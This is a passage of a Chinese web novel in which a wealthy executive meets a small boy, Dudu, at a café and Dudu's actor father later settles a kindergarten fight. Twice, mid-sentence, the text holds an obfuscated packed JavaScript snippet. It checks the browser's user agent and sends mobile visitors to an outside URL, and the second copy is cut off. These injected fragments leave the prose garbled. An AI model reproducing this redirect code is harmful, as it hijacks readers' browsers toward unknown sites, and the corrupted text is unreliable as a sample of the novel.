嘟嘟被杜陵带出洗手间的时候，一眼就看见高个子叔叔正坐在吧台前，操作台后的小哥难得有些慌乱，直到看见老板，他眼眸才一瞬发亮。 “老板，这位客人点了巴拿马翡翠庄园红标瑰夏，手冲。” “哦？”杜陵扬了扬眉，说：“那就给客人做吧。” 小哥：“那我……” 小哥局促地在围裙上蹭了蹭手，才回身去找豆子。 不是他突然胆怵，实在是客人点的这款手冲，售价太高，三千八一杯。 那豆子价格是本就昂贵，但当初定三千八，是开业那会儿老板请咖啡大师亲自来冲泡的价格。 现在大师早就不在了，小哥虽然受到过培训，但还是第一次承担这么昂贵的价格，所以才有点害怕。 杜陵：“来了个大老板，当然要好好招待，小杰你尽管泡着，我这豆子多，不怕泡，冲泡不好的都算我的。” 尽管这话是对小哥说的，但杜陵一直打量着眼前的客人，他干脆走过去，视线毫不闪躲地审视这位客人。 林洛宸不遑多让地回看，点点头道：“谢谢。好喝的话，我会常来。” “那敢情好，还能帮我消耗消耗豆子，我这儿不可能不好喝。” 林洛宸扯开嘴角，看似礼貌地一笑。 杜陵却被他这完全诠释了皮笑肉不笑的表情给搞得莫名烦躁。 杜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361015|183680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陵身上有股子玩世不恭的花花公子劲儿，与林洛宸举止端正、不怒自威形成鲜明的对比。 谁也不知道俩人之间怎么就忽然剑拔弩张了。 就在杜陵快要确定对方身份的时候，林洛宸竟然忽然开口：“你好，我是林洛宸。” ……不仅话锋一转，竟然开口就抡了个王炸！ 杜陵下意识一皱眉：“你……” 他刚想说你果然就是那个姓林的！但又忽然觉得不行，自己不能这么应对。 也算是经常出入各种场合的戏精，杜陵态度当即也跟着一变，笑道：“幸会，林先生。” 林洛宸平静注视着对面的咖啡馆老板：“你不认识我？” 杜陵坚决假装自己不知道这个人：“我该认识林先生？” 林洛宸这回倒是没说话。 他个子高，可以轻易靠坐在吧台前的转椅上，动作优雅风流。在叫小杰的店员开始磨豆子的声音里，林洛宸又轻微一笑： “听说因为杜老板的儿子来这里玩，您决定全场咖啡打折，不知道我这杯能打几折？” 刚才跟小哥攀谈的时候，林洛宸已经知道了这家店的老板姓杜。 杜陵则在心里无限咒骂，他想这个差点把蔚染害死了的狗男人不是有的是钱吗，前段时间这家伙不才高调收购了北美几大电视广播平台么？三千八一杯的咖啡都便宜了他，还想打折？！ 但余光瞥向嘟嘟，杜陵干脆按了按幼崽的小肩膀，宣示主权：“是啊，我儿子今天高兴，我是说了要打折。” 林洛宸瞳孔微缩，再度看向站在杜老板身边的嘟嘟。 嘟嘟看看杜爸爸，又看了看陌生叔叔，根本不知道发生了什么。 林洛宸搭在吧台上面的手指已然屈起，不知不觉握掌成拳。 杜陵在这一刻莫名觉得很爽，又故意说：“那林先生觉得，您这杯我应该给打几折？” 他要林洛宸自己说，倒要看看他脸皮有多厚，也要探探对方到底什么格局。 林洛宸却没说。 抬手扫了吧台边的付款码，几秒钟过后，吧台后面传来机械女声的提示音： [支付宝到账八千八百元。] 留在咖啡馆没走的客人直接看向吧台那边，好奇什么咖啡要八千多一杯？！ 站在原地的嘟嘟则张大了嘴巴—— 八千八喏。 似乎是好多好多的钱？ 杜陵：“……” 操，给他机会装到了！ 杜陵突然有点后悔，就应该给他免单，在嘟嘟面前展示出这个男人根本喝不起翡翠庄园的样子…… 林洛宸已经开口，声音平稳地说：“多出来的是给嘟嘟的见面礼。” 他搭在吧台上的手，手指屈起后又是一弹。什么都没变，可整个人的气息比刚才都要放松和闲适了一些。 有种游刃有余的感觉。 “小朋友很可爱。” “……” 杜陵更加不爽了。 对方应该不认识自己，但他早就想替蔚染教训教训这个人。 “看林先生的这身穿着，想来也至少是个……副总级别的吧？” 据说林洛宸的第一份金融领域相关的工作，就是在国外某大企业中、空降到总经理的职位上，他这辈子还没到副总这么低级别的岗位上工作过。 杜陵这么说是故意的。 至于怎么理解，就是姓林的事了。 不想林洛宸又只是笑了笑，不仅丝毫不在意，竟然还开口道：“杜先生这反应，应该还是听说过我。” 杜陵直接绷起脸。 林洛宸语气几近肯定：“是嘟嘟亲爸跟你说的。” 杜陵：“？！” 林洛宸四平八稳地坐在那里，但看见杜陵一系列的反应后，还是难以抑制地再度握拳，手背直接浮现青筋。 蔚染跟别人提过自己。 蔚染还能跟人提自己……那是不是说明…… 想到这里的林洛宸又骤然一惊，撂下眼皮。 ——一只圆圆小小的手搭在了他的膝盖上。 嘟嘟正仰起小西瓜头：“叔叔，你认识窝爸爸呀？” 9. 第九章 搭在膝盖上的小手掌肉肉的，却传递着不小的温度。 林洛宸低头看去，蔚染的儿子此刻正仰头看向自己，两腮上的小奶膘因此明显地颤了颤。 …… 林洛宸：“叔叔应该，算认识你爸爸。” 嘟嘟眨了下眼：“好多人都认得我爸爸。” 林洛宸眼睫又一耷：“嗯。” 嘟嘟歪头：“但是叔叔的意思，好像我爸爸也认识你呦？” “……” 林洛宸发现蔚染的儿子，思维逻辑很强。 一般四岁的孩子是这样聪明的么？ 林洛宸目光稍移。 他的小侄子似乎就没有这么聪明。 咖啡馆不算明亮的光线下，一大一小平稳对视。 不仅丝毫不对大人胆怯，嘟嘟的眼中还充满打量和探究欲。 林洛宸：“……” 喉头滚动了下，在谈判桌上巧舌如簧游刃有余的人，很少有不知道该怎样回答人问题的时候。 小哥的手冲咖啡做好了，战战兢兢地端了上来，终于打破了沉默。 与此同时，杜陵直接冲上来抄起嘟嘟离开。 “好了嘟嘟，杜爸爸带你去玩了。” 杜陵思索再三，觉得还是不应承林洛宸的话更为保险。 也不能再让嘟嘟接触他！ ……也不能单纯怪蔚染被人骗身骗心了。 连自己都差点露馅。 此刻杜陵表面淡定，一副我不知道你在说什么、也不屑搭理林洛宸的模样，内心却慌得一批。 夹着嘟嘟离开这里，杜陵直接给蔚染的经纪人发消息：【啊啊啊！出现了！姓林的他出现了！】 季养运：【？】 杜陵不敢发语音，当即乱七八糟地发过去一串文字消息，简单叙述了刚刚发生的事情。 杜陵：【你说这个臭不要脸的是什么意思，他不会知道嘟嘟是他的……否则他怎么会突然出现在这里？还在店外就巴巴的找嘟嘟说话呢！】 蔚染经纪人很快回话：【林可能只是临时落脚。这件事先别告诉蔚染。】 杜陵：【可是他说话夹枪带棒！而且嘟嘟也见了他，嘟嘟似乎对他产生了明显的兴趣！】 季养运：【……】 嘟嘟的确对那个腿特别长的叔叔产生了一些兴趣。 嘴里重新被塞进吸果汁的吸管，即使要两只手都抱着杯子猛吸才能喝到果汁、幼崽为此已经非常用力了。 嘟嘟仍旧时不时地将视线投向吧台边的那个叔叔。 杜陵看得都吃味了，直接抬手挡住幼崽视线：“嘟嘟在看什么，嘟嘟是不爱杜爸爸了吗？” “唔？”被挡住眼睛嘟嘟也不慌，捧着果汁杯的幼崽鼓起腮帮一个猛吸！然后熟练地说：“不是呦。” “嘟嘟很爱杜爸爸的。”人类幼崽，是不会忘记抚慰大人情绪的。 杜陵：“……” 与此同时，杜陵明显感觉林洛宸也在注意着嘟嘟的方向。 心中警铃大作，杜陵已经不自信自己能试探出姓林的是什么意思了，他下意识觉得不能让嘟嘟在跟对方待在一个空间里。 “嘟嘟，跟爸爸出去喂博士吧，博士该吃饭了。” “哒？”听见博士，嘟嘟歪头：“可是小哥哥说，中午博士吃过了啊……” “……对于一只狗子来说，吃下午茶也是它有必要享受的狗生。” 杜陵一把拎起嘟嘟。 嘟嘟：“哒？” 嘟嘟的记忆力是比一般小孩强，尤其是对他最最关心的问题。 但像蔚嘟嘟这样柔软和善的小朋友，也根本抵抗不了毛绒绒的袭击。 ……尽管叫博士的哈士奇并不给面子，一点儿都不会向小主人卖萌，见了谁都拽得二五八万的。 但架不住小主人有爱心！ 面对小（？）动物的时候，果然成功让嘟嘟把刚才的小插曲给忘了。 博士的确才吃饱，一般食物打动不了它了，幸亏杜陵平时囤了好多磨牙棒。 嘟嘟拿着一根外面裹一层鸭肉、里面是面粉和肉糜做成骨头形状的磨牙棒去喂二哈。 二哈吃得香甜，搞得嘟嘟也跟着咽口水。在继续喂博士下一根的时候，嘟嘟直接先啃了一口。 博士：？ 杜陵：？？？ “嗷呜呜嗷！？” “……嘟嘟！” 杜陵本来想以担心博士会突然犯二伤了小主人、他必须守在身边的理由跟着嘟嘟喂狗，坚决保护我方幼崽被外来物种侵害。 结果现在好了，他不仅要看博士，还要看着嘟嘟！ 室内，林洛宸很快喝完了他的那杯天价手冲咖啡。 他明显无意交谈，负责做手冲的小哥也没好意思问他自己做的这杯手冲怎么样。 毕竟那样就感觉是客人在花天价培养自己冲咖啡似的。 林洛宸稍微整理了下衣物，淡然起身，什么也没说就离开了。 咖啡馆的门被人从内部打开，门口的风铃发出“叮当”一声轻响。 撅在地上看博士干饭的嘟嘟回头。 “叔叔，要走了嘛？” “嗯。”林洛宸脚步顿住，忽然转向西瓜头的嘟嘟说：“叔叔可以……抱一下嘟嘟么？” 嘟嘟不设防地点了点头。 杜陵直接不乐意了：“喂，你别太奇怪……” “没关系的杜爸爸，嘟嘟去一下就回！” 站起来的嘟嘟像小兔子一样几步蹦到高个子叔叔的面前，继续仰头。 林洛宸则觉得自己疯了，竟然要抱蔚染跟别人的孩子，可当与嘟嘟对视的瞬间，他还是蹲了下来。 熨烫妥帖、没有一丝皱褶的西裤质感绝佳，嘟嘟半靠在叔叔的腿边，然后主动抱住了对方的脖子。 从来没跟小朋友如此亲近过的林洛宸：“……” 整只崽儿都软软的，小小的，林洛宸一展臂就可以抱住两个这样的嘟嘟，可这样小的幼崽又这样真实。 甚至还会主动拥抱自己。 林洛宸心情复杂，但这一刻，他发觉自己丝毫都不讨厌蔚染的这个儿子。 “叔叔，你还没说，我爸爸认识你么？”嘟嘟趴在大人的耳边，小小声地问。 “……” 没想到一个四岁的幼崽会这样执着。 那股倔劲真跟蔚染一样。 可是叫嘟嘟的小孩黑白分明的眼神纯真。被那样一双圆眼睛盯着，应该没有人能做到忽略他的问题。 林洛宸张了张嘴，最后实话实说：“叔叔也不确定，你爸爸是不是认识我。” “唔？” 即便对于一个成年人来说，这个回答也过于抽象了，嘟嘟很快露出迷惑不解的表情。 林洛宸只是笑了一下，视线落到嘟嘟手腕上的儿童手表上，他忽然又掏出一张名片。 “这是叔叔的名片。” “唔？” 嘟嘟愣愣看着那张通体是黑色的卡片。还从来米有人给嘟嘟递过名片，幼崽不知道这是什么，一时没接。 林洛宸直接将那张卡片塞进嘟嘟胸前的肚兜里。 “上面有叔叔的电话号码，嘟嘟如果遇到什么难办的事……任何事，都可以来找叔叔。” 嘟嘟的小嘴张成“O”形：“噢！” 电话号码啊，嘟嘟也有。 嘟嘟举起自己戴着儿童手表的小胳膊，颇为豪放地说： “嘟嘟的号码在这上面噢，叔叔需要嘟嘟的话，也可以来找嘟嘟！” 林洛宸瞳孔挪动了下，再度将视线投向嘟嘟的小手表。 与此同时，戏剧性的一幕发生了，嘟嘟的小手表亮了，传来阵阵铃声，林洛宸亲眼看见上面的来电显示是：“爸爸”。 …… “爸爸！”嘟嘟很快接起电话。 “宝宝。”扩音器里传来一道带着笑意的、温软的小绵羊音：“有没有想爸爸呀？” 听见这个声音的林洛宸，动作直接僵住。 倒是嘟嘟听见爸爸的声音，都恨不得原地起蹦，一整只快乐的小白兔一样。 “……有噢有哦！”快乐小白兔上蹿下跳，即使知道爸爸看不到：“嘟嘟，都想死拔拔啦！” …… 等嘟嘟跟爸爸讲完电话以后，发现叔叔竟然还留在原地，正一动不动地看着自己。 叔叔的气息变得比刚才更冷了一些。 嘟嘟虽然不怕，但感觉出来异样，也不禁抬头：“叔叔，你怎么了？” “没什么，那嘟嘟，叔叔走了。” 蔚嘟嘟：……原来叔叔是在等嘟嘟讲完电话，然后跟嘟嘟告别！ 很有礼貌的叔叔哦。 嘟嘟依旧举着戴手表的那只小胳膊，却忘记自己接电话前是要做什么了，只是点点头：“好哦，叔叔再见！” “……再见。” 林洛宸利落地转身离开。 旁边杜陵走上来，刚知道蔚染打电话给嘟嘟的时候，杜陵整个心都快蹦出嗓子眼了。 担心嘟嘟会提到这个叔叔，也担心姓林的会脸皮厚地出声，惊扰到对面的蔚染。 幸好蔚染只是临时休息的时候给嘟嘟打来电话关心下幼崽情况，并没有聊太长时间，嘟嘟也没说什么。 姓林的更是没什么动作。 “嘟嘟，不能随便跟陌生人说话，陌生叔叔更不行！”林洛宸离开，杜陵赶紧对嘟嘟进行教育。 杜二少是向往自由的，对嘟嘟，他一贯是将心比心把小孩儿当成兄弟处，并不喜欢对幼崽进行说教。 甚至当看到脾气好的蔚染有时候也会很认真地教育嘟嘟某些事情时，杜二少还会刺头地站在嘟嘟那一边。 但如今，他发现有些事儿不教导真的很危险！ “万一嘟嘟被坏人拐跑了怎么办？！” “可是，礼貌叔叔不是陌生叔叔呀？” 蔚嘟嘟疑惑：“嘟嘟，还请叔叔吃过板栗哒！” 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两地分居成这样，那大概率上，他们就不可能是一对。 嘟嘟叫杜陵做“杜爸爸”，是因为杜陵类似是他的干爹……？ 蔚染他…… 手指在触控板上一划，林洛宸的电脑屏幕上直接跳出一张极致清秀的脸。 是蔚染的百度百科。 嘟嘟亲口说他没有妈妈，调查资料上显示，蔚染现在也还是单身。 ……以蔚染执拗的性格，极可能不会隐瞒恋爱关系，毕竟当初他都可以在公众媒体面前亲口承认嘟嘟的存在。 也就是说，蔚染99%还是单身。 …… 心脏像被什么东西攥住，开始不规律地疯狂跳跃、攒动。 林洛宸向后一靠，修长的身体直将椅背压出一个极大的弧度。 这种问题，其实直接问嘟嘟会更快一些吧。 他又用手指敲了敲自己的太阳穴……刚才就应该直接跟嘟嘟交换电话号码，而不是因为没有身份立场、为了不显得自己像人贩子，最终也没要小孩的联络方式。 幸好嘟嘟那里还有他的名片。 那是他特意在杜陵的视线盲区塞进嘟嘟兜里的，大概率不会被他发现。 攒动的心忽然再度涌起一片电流。 蔚染他…… 会不会看见自己的名片？ …… 林氏集团的人发现，他们新空降下来的总裁最近爱上了喝咖啡。 每天午后，总裁都会亲自下去两趟，去YDD咖啡馆喝咖啡，周六周日更是全天坐在里面办公。 偶尔还会请全公司的职工喝。 喜欢喝咖啡的人都觉得喜从天降。 只不过他们总裁似乎不大深谙咖啡文化。 ——好几次，有员工撞见总裁都在那家店里豪饮。 250毫升的冰咖啡，总裁三口喝没。 冰块还没融化，总裁喝完就走。 有人说他们总裁是故意的，在给全体员工示范如何在工作时间，既享受咖啡又不划水。 名为示范，实为敲打。 于是整个公司的员工喝咖啡的速度都提升了一截儿。 这是后话，暂且不提。 那天晚上，嘟嘟被不放心幼崽、放半天假就赶回来加班的王奶奶接回家。 在咖啡馆玩了一天，嘟嘟有些累了，但去浴室洗脸蛋洗白白的时候，还是咿咿呀呀地，跟奶奶分享今天的趣事。 虽然嘟嘟口齿已经算特别清晰，但小孩子的思维天马行空，着急说话的时候难免逻辑混乱，有些事情王奶奶听明白了，有些没有。 但无论听没听懂，王奶奶嘴里都下意识地夸着：“嘟嘟真乖，我们嘟宝最机灵！” 是奶奶最机灵的宝贝嘟嘟：“咯咯咯！” “来，嘟嘟抬脚，奶奶帮你把小背带裤脱下来。” 嘟嘟便坐在王奶奶的腿上，特别配合的抬起小脚丫。 刚把背带裤脱下，一张通体黑色的卡片从里面掉了下来。 王淑琴没注意，等给嘟嘟洗好澡送到床上，回来收拾浴室的时候才看见已经因为嘟嘟玩水而被半浸透的卡片。 这张卡片无疑是陌生的，不该出现在家里。 王淑琴捡起来看了看，上面只有简约的一个名字和一串联络方式……估计是谁去咖啡馆发传单，被嘟嘟捡到了吧。 王淑琴顺手将那张卡片扔进垃圾桶，收拾好了还不忘回屋教育嘟嘟：“陌生人发的卡片不要接，万一上面有迷药，嘟嘟就被拍花子的坏人给拍走了！” 嘟嘟正堆在小床上摆弄自己的羊驼。 听王奶奶这么说，不明所以的人类幼崽还是下意识抓紧小羊驼的背部，瞪大眼睛说：“嘟嘟，不要被拍走！” 10. 第十章 十几岁的林洛宸是很傲气的，家里面的人他谁也不服，旁人也的确畏惧他，兄弟姐妹们见了他会自动避其锋芒。 林洛宸此生唯一只叫过一个人“哥”。 “哥。” “蔚染、染哥，我……” “叮铃铃铃铃！！！” 林洛宸猛然睁开眼，从半旖旎的梦境中被激烈的闹钟声吵醒，他直接从床上坐起。 清晨四点五十分，是他每天起床的时间。 起来以后喝杯水，简单地洗漱一下，就开始健身。健身时间是一小时到一个半小时不等，在完成一套有氧和无氧结合的动作后，洗澡换衣服，之后就会有管家端上今日份的早餐。 用餐期间林洛宸会听世界新闻。 这是他一天中头脑最轻盈的时刻，很多商机都是这个时候灵光一闪地get。 至于吃的是什么，林洛宸大多没有印象。也并不关注。 车祸后遗症，他丧失了大部分的味觉和嗅觉。 但林洛宸从前也不是个讲究吃喝的人，这对他来说影响不大，至少从没牵动过他的情绪。 …… 忽略逐渐“解锁”记忆后，他开始疯狂地想要知道阳光和蛋糕的味道的话。 蔚染…… 林洛宸下意识握紧刀叉。 BBC里，播报员还操着一口标准的英伦腔播报今日时事。 林洛宸看了眼日期，距离自己上次在咖啡馆里见蔚染的儿子，已经过去三天了。 这三天蔚染那边一点动静也没有。 不仅如此，他也已经连续三天没有见过蔚嘟嘟。 因为有了个派发板栗的可爱小朋友的存在，买红薯的队伍排的一天比一天长。 然而据林洛宸的人汇报，这三天没有任何人再在红薯摊的附近见过嘟嘟了。 至少微博、小红薯等社交媒体上都有人在哀嚎。已经不止一个人哭嚎着自己是特意坐动车过去、专门去看蔚染的迷弟小萌娃的，结果还是扑了个之类，下面的评论也都说没有看见。 …… 所以蔚染的儿子去哪了？ 换城市了？ 蔚染在躲着自己？？？…… …… 那怎么可能。 没有味觉，没有嗅觉，食欲全无。 林洛宸放下刀叉起身，准备去上班。 “先生，实在不好意思，我今天需要请假一天，或许明天中午才能回来。” 林洛宸穿好外衣，临出门的时候，管家局促地对他说道。 林洛宸不喜欢住酒店，这里是他名下的一处房产，平时会有一名住家管家留在这里，负责监管水电和维护。 如今林洛宸搬过来住，管家的活就多了些，但相应的工资也翻倍。且林洛宸极少回来，多也多不出来什么活，就是早晨给他做个早饭，顺便收拾下他的房间。 相应的，林洛宸也并不依赖这名管家，听对方说要请假，他不假思索地点头，表示同意。 动作利落地穿上皮鞋，他对面的管家继续搓围裙，但憨厚地笑道：“谢谢先生，我家小孙女生病了，她爸妈工作走不开，老伴一个人又照顾不过来，我回去看看……” 林洛宸动作一顿。瞬间抬头：“您孙女？多大？” “今年四岁半了。” “生病了？” “应该没什么事，小孩子的幼儿园里有人生病，她可能是被传染了……啊，先生您放心，我回来前会消毒……” “……小孩子很容易生病？”林洛宸怔愣，又狠狠蹙了蹙眉。 “是啊。” 老管家不知道一向沉默的先生怎么忽然跟自己讨论起这个，但还是说：“这个年纪的小孩儿免疫力弱，动不动就容易感冒发烧的，而且最近换季么，支原体病毒闹得可凶，会互相传染……” 对于管家的解答，林洛宸一边点头表示自己知道，一边掏出手机。 “查查蔚染的儿子最近几天有没有去幼儿园。” …… 林洛宸很快得到下属汇报，蔚染的儿子最近几天都有去幼儿园。 “那所幼儿园防护做得不错，只有几名小朋友生病在家没去上学，嘟嘟每天都有按时去上课。” 林洛宸听完，不知为何提起来的心又放了回去。 “好，我知道了。” “……这几天盯着点，如果有什么异常立即通知我。” “……是，林总。” 林洛宸撂了电话。 他已经抵达了办公室，对于对蔚染儿子特别关心这点，林洛宸并不觉得有什么。 他毕竟知道了嘟嘟的存在，嘟嘟也叫他一声叔叔，算相识。 适当地关心一下自己认识的小朋友，是很正常的事，全人类都会这么做。 林洛宸开启了办公模式。 上午十点半，内线电话响起，秘书说是他小侄子打电话找他。 “……谁？” 林洛宸正紧盯显示器上的报表，声音听着很凶。 秘书下意识瑟缩了下，语气忽然变得不确定极了：“……他说他是您小侄子？……他说他叫林杨瀚海。” “……” 林洛宸：“接。” 一个稚嫩的幼崽声音立即从电话里传来，语速语调却慢吞吞，带着一点懵懂和怯意：“小叔~麻麻叫我问你，你可不可以帮海海，在那边找个育儿，园呀？……” …… …… 保姆车上，蔚染手捧剧本，旁边武宝宏的手机屏幕上显示着他经纪人的形象，季养运在电话那边问蔚染：“我发给你的剧本你都看了没？” 蔚染一瞬闪过茫然的神色，随后捏了捏自己手里的剧本说：“我在看。” 季养运看着他手中那本布满痕迹的旧剧本：“……不是这本你都快翻烂了的在拍剧！我说的是你下个剧想接什么。之前咱们接不着好资源，但现在情况不一样了……蔚染，你究竟有没有意识到情况不一样了啊？也该为下部剧做打算了！” 蔚染继续捧着剧本，懵懵地点点头表示自己在听，却没有什么其他回应。 “……你……”季养运叹气：“算了，你先好好休息一下吧。” 昨天蔚染去G市参加了品牌方的宣传活动，之后又被留着参加了个酒会，半夜两三点才结束，等真正休息的时候估计天都快亮了。 今天一大早他又乘车匆匆返回S市，下午他还得进组开工，毕竟剧组那边就请出来这一天半的假。 季养运透过屏幕看向蔚染苍白没什么血色的脸。又自顾自地嘀嘀咕咕：“那俩剧本你先不用看了，我再看看还能不能联系到更好的合作方。昨天跟品牌方的宣传活动办得很成功，你现在身价与日俱增，那两个剧本也不错，但毕竟都是小制作，不适合你现在的情况了。” 蔚染仍旧点头，一副乖学生的样子，懵懵懂懂的，接着就继续低头看手里的旧剧本了。 他其实也知道该趁热为下部剧打算，但手里还有在拍的戏，蔚染就根本没法分出精力去管下部戏怎么样，他只想全力以赴先把这部拍好。 蔚染就这性格。 在跟上个经纪公司合作的时候他经纪人就受不了他这一点，说他明明性格挺开朗挺懂变通的，怎么正事上却是个死脑筋，连卷都不会卷；要他往四处看看，外面轧戏的明星比比皆是，蔚染可倒好，一条路跑到黑了，时间都浪费了。 现在季养运接手了他，蔚染早已变了很多，经常迷迷糊糊的，没以前那股聪明劲儿了。 但大概也因为如此，蔚染倒没为这事挨过批评。……或者也被批评过，但难听的话蔚染简直不要听过太多，对于一般的正常批评，他只会考虑对方说得对不对，而不会在乎对方的语气和态度。 只是季养运说他，大部分都是对的。这蔚染就不能不往心里去了。 搞得每次他跟经纪人说话时，脊背都会下意识地挺得更直，时不时地还会扶一下鼻梁上的眼镜。 季养运看着乖学生一样的蔚染，坐在摇摇晃晃的车厢内还不忘参悟剧本的模样，忽然生气咆哮：“车里晃得这么厉害，你还要不要你的眼睛了？！给我下车再看！” 蔚染便忙收起剧本，靠在椅背上表示自己要闭目养神了。 季养运的声音仍旧从助理手机中传来：“你跟我这儿学蔚嘟嘟呢是吧？别以为我不知道，等会撂了电话又要看了是不是？” 蔚染在经纪人看不见的区域冲武宝宏拼命比划手势，表示可以挂断视频了。 就在这个时候，蔚染忽然接到幼儿园老师的电话，说嘟嘟在学校里跟其他小朋友起了冲突。 听老师这么一说，蔚染表情一阵恍惚，之后忽然就慌了。 单薄的身子从靠椅上猛地弹起。 “……老、老师您说什么？？嘟嘟他有没有受伤？！” “嘟嘟爸爸您放心，嘟嘟没有受伤，嗯……准确地说，就目前我们了解的情况，是有人挑衅了嘟嘟，然后，嗯，另一个孩子代替嘟嘟跟挑衅他的人打了起来……” 蔚染：？ 表情更慌乱茫然了。 老师：“但是他们打起来的原因的确是因为嘟嘟，呃，总之，嘟嘟爸爸，您方便的话还是亲自来学校一趟比较好……” 蔚染当然直接赶去了学校。 路上，他打开幼儿园的监控片段，了解情况。 等蔚染赶到幼儿园的时候，老师办公室里，一个小孩子的哭嚎声震耳欲聋，伴随哭声一起响起的，是一道女声骂骂咧咧的声音：“儿子不哭，妈指定替你讨回公道！路诸的家长呢？老师你通知他爸妈了吗，敢打我儿子，我要他吃不了兜着走，等着还债吧！” “还有白泽的家长呢？！都是白泽唆使的路诸！今天要是不把他们家长都叫来，我就报警！” 蔚染在这个时候敲开了门。 他还穿着一直以来的那件白色薄棉服，今天换了条普通的黑色运动裤搭配白色球鞋，头戴棒球帽，鼻梁上还架着一副大框眼睛，看上去更像一名学生了。 “你是……” “老师您好，我是白泽的父亲。” “你就是白泽他爸？？”老师还没讲话，据说今天唯一的受害者、刑建豪的家长已经不由自主地发出声音。 她倒是听说过那个小名叫嘟嘟的崽子长得不错，小豪曾经回到家里跟她说过，说嘟嘟最可爱，不仅老师喜欢，园区里的小朋友们也都喜欢嘟嘟。 可巩女士觉得自己的儿子才是最可爱的，就算长得没那个嘟嘟白净可爱，可幼崽拼的是外貌么？当然要看是谁学的多、会的多，谁更有灵气！ 据说那个嘟嘟都不上补习班的，而且小时候长得好看的娃长大后更容易长歪。总之怎么可能有人比她的儿子还要出色！ 但看见白泽爸爸的这一刻，巩女士忽然觉得长歪似乎不太可能了…… 蔚染下意识压了压帽檐，老实点头：“我是嘟嘟的爸爸。” 刑建豪的妈妈不再多想，见对方气质太过斯文老实，她擦了擦眼角不存在的泪痕，当即叉腰扯开嗓门：“……那你来的正好，你儿子指使别人打了我家儿子，你说这件事怎么办吧！” 蔚染来之前已经大致知道了前因后果，便说：“哦，这件事啊，要先让你们家的小豪向我们嘟嘟道歉。” “你说什么？”小豪妈愣住：“……你们打了人，还让我儿子给你们道歉？！！” 蔚染虽然迷糊，但也不是失了智，他点头，很认真地说：“嗯，必须道歉。” “是你儿子先招惹嘟嘟的。” 蔚染说完，就看向一旁的刑建豪。 接收到他这道目光，刑建豪立即又哭了，大声说：“我没有，我才没有说白泽，妈我没有我真没有！” 但蔚染却分外认真地对刑建豪小朋友说：“你在其他小朋友面前奚落嘟宝。你该向嘟嘟道歉。” 刑建豪的父母都是大嗓门，他还没见过这种说话乍听上去温温润润、实则却不容置疑的语气，当即一心虚，又嚎哭起来：“我，我……哇！！” “小豪，你不用多说！” 眼见刑建豪额头上鼓出来的大包，巩女士继续叉腰：“小孩子间随便开开玩笑不是很正常？现在的问题是我儿子受伤了！就算你儿子被我儿子打趣了几句怎么了？我们家小豪可是受伤了！！” 蔚染说：“他受伤也是因为他要先来打嘟嘟。路诸同学只是帮嘟嘟反击。” “胡说！”巩女士：“照你这说完，我儿子奚落了你儿子，还去打你儿子？怎么的，我家小豪是校霸么！那嘟嘟身上有伤么？我就问你有伤么？！” 对方睁眼说瞎话，蔚染只好要求双方一起重新看监控。 巩女士已经看过监控了，的确是刑建豪先推了嘟嘟一把，但这在她看来并没有给白嘟嘟带来任何伤害，只能算玩闹。 反而是后来，比他们都大一岁的路诸忽然冲出来，不仅推开了小豪，还把他儿子的头砸在了墙上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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刑建豪开始乐了，直捂肚子：“八嘎！正常家庭是一个妈妈一个爸爸，你连这都不知道，哈哈哈……” 嘟嘟黑白分明的眼睛望着他，干脆叹了口气，不欲与他再争辩地沉默转身。 视频中小小的人类幼崽，竟然硬生生摆出一副夏虫不可语冰的深沉。 结果这莫名激怒了刑建豪，当即伸出他的小胖手上前一推！ 在只碰到嘟嘟后背的时候，一旁早就盯他半天的路诸冲了出来，用力一推把他推到墙上。 刑建豪完全没反应过来，且自身体重较沉、没刹住闸，撞墙的时候竟然是额头先撞，发出“咚”的一声闷响。 然后就是大哭声连绵不绝地传来。 哭声刺耳，巩女士连忙伸手将视频关了。 “嘟嘟爸爸，其实仔细想想，打我儿子的是路诸，跟嘟嘟也没什么关系，我本来也不想叫你过来，这件事情我就不跟嘟嘟计较了，但是路诸，你可得小心他跟你家嘟嘟接触，他太暴力了，他……” 这时，办公室的门被人推开，是趴在外面听了半天的嘟嘟。 嘟嘟身后还跟着一个细瘦男孩，正是视频里、一把将刑建豪推出去的路诸。 又黑又瘦的路诸，竟然比前面的蔚嘟嘟高出大半个头。这小孩儿没什么表情地跟在嘟嘟后面，视线往刑建豪和他妈身上扫了一眼，眼神充满轻蔑。 当先进门的嘟嘟则眼眶红红，嘟着嘴巴，小肉膘都鼓了起来，看向爸爸的表情既自责又充满怯意。 自责是嘟嘟给爸爸惹麻烦了，让老师叫家长了。 害怕也是因为嘟嘟给爸爸惹麻烦了。……嘟嘟担心爸爸会被那个浑身刺鼻香水味的姨姨欺负！ 嘟嘟不想爸爸被人欺负，更加不想爸爸因为自己被欺负，所以……哇！ 看见爸爸的一瞬间，一直还算平静的幼崽竟然眼睛一红，直接哭了出来！ 这是嘟嘟第一次在幼儿园里哭。 白生生粉雕玉砌的小孩骤然哭得稀里哗啦，老师和他身后的路诸都被吓了一大跳！ 路诸表情复杂慌乱，手足无措。 老师则直接过去哄。 但比她更快的，是嘟嘟的爸爸。 蔚染大步走过去，直接蹲在嘟嘟面前抱紧儿子，抬手拭去嘟嘟脸蛋上的小泪珠，并轻声哄着：“好了宝宝，宝宝不哭，爸爸不怪你，爸爸永远不会怪嘟嘟。” “爸爸呜呜爸爸，拔拔！~……”嘟嘟抱着爸爸的脖子，委屈得说不出话。 可是蔚染已经懂了。 他心里比谁都难受，如果不是自己，嘟嘟也不会被人那样说。 干脆一把将嘟嘟抱起，又在儿子耳边悄声安慰：“嘟嘟也不要为了爸爸哭，爸爸永远爱嘟嘟，是爸爸不好……” “不是爸爸不好。” 